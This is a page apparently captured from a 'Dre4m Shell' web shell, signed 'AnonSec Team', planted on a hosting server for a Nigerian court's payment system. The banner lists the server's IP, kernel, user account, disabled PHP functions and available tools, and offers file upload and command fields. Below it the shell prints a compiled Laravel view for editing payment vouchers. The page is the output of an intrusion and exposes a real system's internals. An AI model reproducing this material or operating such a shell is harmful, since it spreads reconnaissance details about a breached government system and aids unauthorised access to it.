ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.222.74.68
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/2e5733d1a03d3859ea1d2d6017f2d348169642ba.php
<?php $__env->startSection('pageTitle'); ?>
Editable Vouchers
<?php $__env->stopSection(); ?>



<?php $__env->startSection('content'); ?>

<div id="vim" class="modal fade">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">All comments</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12" id="z-space">
                    
                    </div>
                </div>
            </div>
            </form>
                <div class="modal-footer">
                    <!--<button type="Submit" class="btn btn-success" id="putedit"></button>-->
                    <button type="button" class="btn btn-info" data-dismiss="modal">Close</button>
                </div>
            
                
            </div>
            
          </div>
        </div>
        
<div id="editModal" class="modal fade">
        <div class="modal-dialog " role="document">
          <div class="modal-content ">
            <div class="modal-header">
              <h4 class="modal-title">Preview Voucher</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="editpartModal" name="editpartModal"
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">Contract Type:</label>
                    </div>
                    <div class="col-sm-12">
                            <input type="text" value="" name="contracttype" id="contracttype" readonly class=" form-control" > 
                    </div>
                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">Company</label>
                    </div>
                    <div class="col-sm-12">
                            <input type="text" value="" name="Company" readonly="" id="Company" readonly class="form-control" >
                    </div>
                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">PVNO</label>
                    </div>
                    <div class="col-sm-12">
                            <input type="text" value="" name="pvno" readonly="" id="pvno" readonly class="form-control" >
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">Payment</label>
                    </div>
                    <div class="col-sm-12">
                            <input type="text" value="" name="payment" readonly="" id="payment"  class="form-control" >
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">Payment Description</label>
                    </div>

                    <div class="col-sm-12">
                            <textarea  name="payment_desc" id="payment_desc"  class="form-control" > </textarea>
                    </div>


                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">WHT Values</label>
                    <label class="col-sm-4 pull-left">WHT Percentage</label>
                    </div>
                    
                    <div class="col-sm-6">
                            <input type="text" value="" name="wht_val" id="wht_val" placeholder=""  class="form-control" > 
                    </div>
                    <div class="col-sm-6">
                            <input type="text" value="" name="wht_perc" id="wht_perc" placeholder=""  class="form-control" > 
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">Vat Values</label>
                    <label class="col-sm-4 pull-left">Vat Percentage</label>
                    </div>
                    
                    <div class="col-sm-6">
                            <input type="text" value="" name="vat_val" id="vat_val" placeholder=""  class="form-control" > 
                    </div>
                    <div class="col-sm-6">
                            <input type="text" value="" name="vat_perc" id="vat_perc" placeholder=""  class="form-control" > 
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">VATPayee</label>
                    </div>
                    
                    <div class="col-sm-12">
                            <input type="text" value="" name="vatpayee" id="vatpayee" autocomplete="off"  class="form-control" > 
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">WHTPayee</label>
                    </div>
                    
                    <div class="col-sm-12">
                            <input type="text" value="" name="whtpayee" id="whtpayee" autocomplete="off"  class="form-control" > 
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> Amount Payable </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" name="amtpayable" id="amtpayable" autocomplete="off"  class="form-control" >  
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> Balance Brought Forward </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" readonly="" name="bbf" id="bbf" autocomplete="off"  class="form-control" >  
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> Prepared By </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" name="preparedby" id="prepareby" autocomplete="off"  class="form-control" >  
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> Liability By </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" name="liabilityby" id="liabilityby" autocomplete="off"  class="form-control" >  
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> allocationType </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" name="allocationtype" id="allocationtype" autocomplete="off"  class="form-control" >  
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> Economic Code </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" name="economiccode" id="economiccode" autocomplete="off"  class="form-control" >  
                    </div>

                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left"> Date Prepared </label>
                    </div>
                    
                    <div class="col-sm-12">
                             <input type="text" value="" name="dateprepared" id="dateprepared" autocomplete="off"  class="form-control" >  
                    </div>
                 
                    <input type="hidden" id="paymentTransID" name="paymentTransID" value="">
                    <input type="hidden" name="reason" id="reason" value="">
                </div>

            </div>
                <div class="modal-footer">
                    <button type="Submit" onclick="return saveChanges()" class="btn btn-sm btn-success">Save Changes</button>
                    <button type="button" class="btn btn-sm  btn-secondary" data-dismiss="modal">Close</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>
        
        <!--comment modal-->
        
        <div id="CommentModal" class="modal fade">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Read the comment below</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="col-sm-4 pull-left">Reason for decline</label>
                    </div>

                    <div class="col-sm-12">
                            <textarea  name="reason-c" id="reason-c" readonly  class="form-control" > </textarea>
                    </div>

                </div>
            </div>
                <div class="modal-footer">
                    <!--<button type="Submit" class="btn btn-success">Save</button>-->
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>
        <!--end of comment modal-->


        <div id="DeleteModal" class="modal fade">
        <div class="modal-dialog" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Delete Variable</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="col-sm-9 control-label"><b>Are you sure you want to delete this record?</b></label>
                    </div>
                    <input type="hidden" id="deleteid" name="deleteid" value="">
                </div>
            </div>
                <div class="modal-footer">
                    <button type="Submit" class="btn btn-success">Yes</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>
        
        <div id="RestoreModal" class="modal fade">
        <div class="modal-dialog box box-default" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Restore Variable</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="deletevariableModal" 
                    role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <div class="col-sm-12">
                    <label class="col-sm-9 control-label"><b>Are you sure you want to restore this record?</b></label>
                    </div>
                    <input type="hidden" id="restoreid" name="restoreid" value="">
                </div>
            </div>
                <div class="modal-footer">
                    <button type="Submit" class="btn btn-success">Yes</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button>
                </div>
            
                </form>
            </div>
            
          </div>
        </div>
    

<div class="box box-default">
  <div class="box-body box-profile">
    <div class="box-header with-border hidden-print">
      <h3 class="box-title"> <?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3>
    </div>

    <div class="col-md-12">
                <?php if(count($errors) > 0): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                        <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <p><?php echo e($error); ?></p>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </div>
                <?php endif; ?>
                <?php if($error != ""): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                            <p><?php echo e($error); ?></p>
                    </div>
                <?php endif; ?>               
                <?php if($success != ""): ?>
                    <div class="alert alert-success alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Success!</strong> <br />
                        <?php echo e($success); ?></div>                        
                <?php endif; ?>
                <?php if(session('err')): ?>
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Input Error!</strong> <br />
                        <?php echo e(session('err')); ?></div>                        
                <?php endif; ?>
            </div>


    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
          <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
        
      
        <!-- /.row -->
        <div class="row">     
        <?php echo e(csrf_field()); ?>


                
          <!-- /.col --> 
            </div>

        
            <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;">
                <table id="res_tab" class="table table-bordered table-striped table-highlight" >
                    <thead>
                        <tr bgcolor="#c7c7c7">
                            <th>S/N</th>
                            <th>Action</th>
                            <th>PVNO</th>
                            <th>Total Amount</th>
                            <th>Contract Description</th>
                            <th>Payment Description</th>
                            <th>Progress Status</th>
                            <th>Date Awarded</th>
                            
                        </tr>
                    </thead>
                    <?php $i = 1; ?>
                    <tbody>
                        <?php if($tablecontent): ?>
                            <?php $__currentLoopData = $tablecontent; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <tr>
                                    <td><?php echo e($i++); ?></td>
                                    <td>
                                      <div class="dropdown">
                                          <button class="btn btn-danger btn-xs dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
                                            Action
                                            <span class="caret"></span>
                                          </button>
                                          <ul class="dropdown-menu" aria-labelledby="dropdownMenu1">                                   
 						<li><a onclick="return comments('<?php echo e(trim($list->comment)); ?>')" href="#">View Comment</a></li>
                                        	<li><a href="/display/voucher/<?php echo e($list->ID); ?>" >Preview</a></li>
                                        	<li><a href="/voucher/edit/<?php echo e($list->ID); ?>" >Edit</a></li>
                                        <?php
	                                	$path = base_path('../'). env('UPLOAD_PATH', '') .'/' . $list->conID.'.'.$list->file_ex;
	                                ?>
	                                
	                                <?php if(file_exists($path)): ?>
	                                	<li><a href="/pro/file/<?php echo e($list->conID.'.'.$list->file_ex); ?>" target="blank" >Download File</a></li>
	                                <?php endif; ?>
	                               
	                                
                                          </ul>
                                        </div>
                                    </td>
                                    <td><?php echo e($list->PVNO); ?></td>
                                    <td><?php echo e(number_format($list->totalPayment)); ?></td>
                                    <td><?php echo e($list->ContractDescriptions); ?></td>
                                    <td><?php echo e($list->paymentDescription); ?></td>
                                    <td>
                                    	<?php if($list->status == 0): ?>
                                      	      <span class="text-danger">Pending</span>
                                      	<?php endif; ?>
                                    	<?php if($list->status == 3): ?>
                                              <span class="text-warning">Rejected</span>
                                        <?php endif; ?>
                                    </td>
                                    <td><?php echo e($list->dateAward); ?></td>
                                      
                                </tr>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        <?php else: ?>
                            <tr>
                               <td colspan="100%">
                                   <center>No Voucher Raised</center>
                               </td> 
                            </tr>
                        <?php endif; ?>
                   
                    </tbody>                    
                </table>
        <br><br><br><br><br>
            </div>
            <input type="hidden" value="" id="co" name="court">
            <input type="hidden" value="" id="di" name="division">
            <input type="hidden" value="" name="status">
            <input type="hidden" value="" name="chosen" id="chosen">
            <input type="hidden" value="" id="type" name="type">
          
          <hr />
        </div>
       
  </div>
</div>



<?php $__env->stopSection(); ?>
<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<style type="text/css">
    .modal-dialog {
width:13cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

#partStatus{
    width:2.5cm
}

</style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
<script>
$('#res_tab').DataTable();
    $( function(){
        $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
      });

    $( function(){
        $("#dateawd").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
      });

   $("#check-all").change(function(){
       $(".checkitem").prop("checked", $(this).prop("checked"))
   })
   $(".checkitem").change(function(){
       if($(this).prop("checked") == false){
           $("#check-all").prop("checked", false)
       }
       if($(".checkitem:checked").length == $(".checkitem").length){
           $("#check-all").prop("checked", true)
       }
   })

   function approve(a = '')
   {
        if(a !== ''){
        document.getElementById('chosen').value = a;
           // alert(a);
        }
        co = document.getElementById('court').value;
        div = document.getElementById('division').value;
        document.getElementById('co').value = co;
        document.getElementById('di').value = div;
        document.getElementById('type').value = 1;
        document.getElementById('form2').submit();
       return false;
   }

   function reject(a = ''){
        if(a !== ''){
            document.getElementById('chosen').value = a;
            //alert(a);
        }
        co = document.getElementById('court').value;
        div = document.getElementById('division').value;
        document.getElementById('co').value = co;
        document.getElementById('di').value = div;
        document.getElementById('type').value = 2;
        document.getElementById('form2').submit();
       return false;
   }
   
   function comments(list){
   if(list == ""){
   	space = document.getElementById('z-space'); 
   	space.innerText = 'No reason found';
   } else {
   	
       	var a = JSON.parse(list);
       	//console.log(a);
       	space = document.getElementById('z-space');
       	space.innerHTML = '';
       	for(i = 0; i < a.length; i++){
       		space.innerHTML += '<p><b id="vi">'+ a[i].comment +'</b> - <small class="text-warning"> <i>'+a[i].name+', posted '+ a[i].date_added+' at '+ a[i].time +'</i></small></p><br>';
       	
       }
       //$('#vim').modal('show');
   }
    
      $("#vim").modal('show');
      return false;
   }

   function delet(a = ''){
    if(confirm('Are you sure you want to delete this record!')){
        if(a !== ''){
            document.getElementById('chosen').value = a;
            //alert(a);
            }
            co = document.getElementById('court').value;
            div = document.getElementById('division').value;
            document.getElementById('co').value = co;
            document.getElementById('di').value = div;
            document.getElementById('type').value = 3;
            document.getElementById('form2').submit();
    }
       return false;
   }


    function editfunc(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q)
    {
        document.getElementById('contracttype').value = a;
        document.getElementById('Company').value = b;
        document.getElementById('pvno').value = c;
        document.getElementById('payment').value = d;
        document.getElementById('payment_desc').value = e;
        document.getElementById('wht_val').value = f;
        document.getElementById('wht_perc').value = g;
        document.getElementById('vat_val').value = h;
        document.getElementById('vat_perc').value = i;
        document.getElementById('amtpayable').value = j;
        document.getElementById('prepareby').value = k;
        document.getElementById('liabilityby').value = l;
        document.getElementById('allocationtype').value = m;
        document.getElementById('economiccode').value = n;
        document.getElementById('dateprepared').value = o;
        document.getElementById('bbf').value = q;

        document.getElementById('paymentTransID').value = p;
        // document.getElementById('dateawd').value = g;
        $("#editModal").modal('show')
    }

    function accept(a  = ""){
        var form = document.getElementById('editpartModal');
        if(a != ""){
            document.getElementById('paymentTransID').value = a
        }
 
        document.getElementById('reason').value = 1;
        form.submit();
        return false;
    }

    function decline(a  = ""){
        var form = document.getElementById('editpartModal');
        if(a != ""){
            document.getElementById('paymentTransID').value = a
        }
        document.getElementById('reason').value = 2;
        form.submit();
        return false;
    }

     function deletefunc(x){
        //$('#deleteid').val() = x;
        
        document.getElementById('deleteid').value = x;
        $("#DeleteModal").modal('show');
    }

function restorefunc(x){
        
        document.getElementById('restoreid').value = x;
        $("#RestoreModal").modal('show');
    }
    
    function getDivisions()
    {
        document.getElementById('status').value = "";
        if($('#court').val() !== "")
        {
            $('#form1').submit();
        }
    }

    function getStaff()
    {
        document.getElementById('status').value = "";
        if($('#division').val() !== ""){
            $('#form1').submit();
        }
    }

    function getTable()
    {
        if($('#status' ).val() !== ""){
            $('#form1').submit();
        }
    }

    function checkForm()
    {
        var court = $('#court').val();
            division = $('#division').val();
            fileno = $('#fileNo').val();
            fname = $('#fname').val();
            oname = $('#oname').val();
            sname = $('#sname').val();
            desc = $('#cvdesc').val();
            amount = $('#amount').val();
            if(court == ""){
                alert('You have empty fields!');
            } else {
                if(division == ""){
                    alert('You have empty fields');
                } else {
                    if(fileno == ""){
                        alert('you have empty fields!');
                    } else {
                        if(fname == ""){
                            alert('you have empty fields!'); 
                        } else {
                            if(oname == ""){
                                alert('you have empty fields');
                            } else {
                                if(sname == ""){
                                    alert('you have empty fields!');
                                } else {
                                    if(desc == ""){
                                        alert('you have empty fields!');
                                    } else {
                                        if(amount == ""){
                                            alert('you have empty fields!');
                                        } else {
                                           $('#form1').submit();
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            return false;
    }
</script>
<?php $__env->stopSection(); ?>


<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/Liability/pending.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team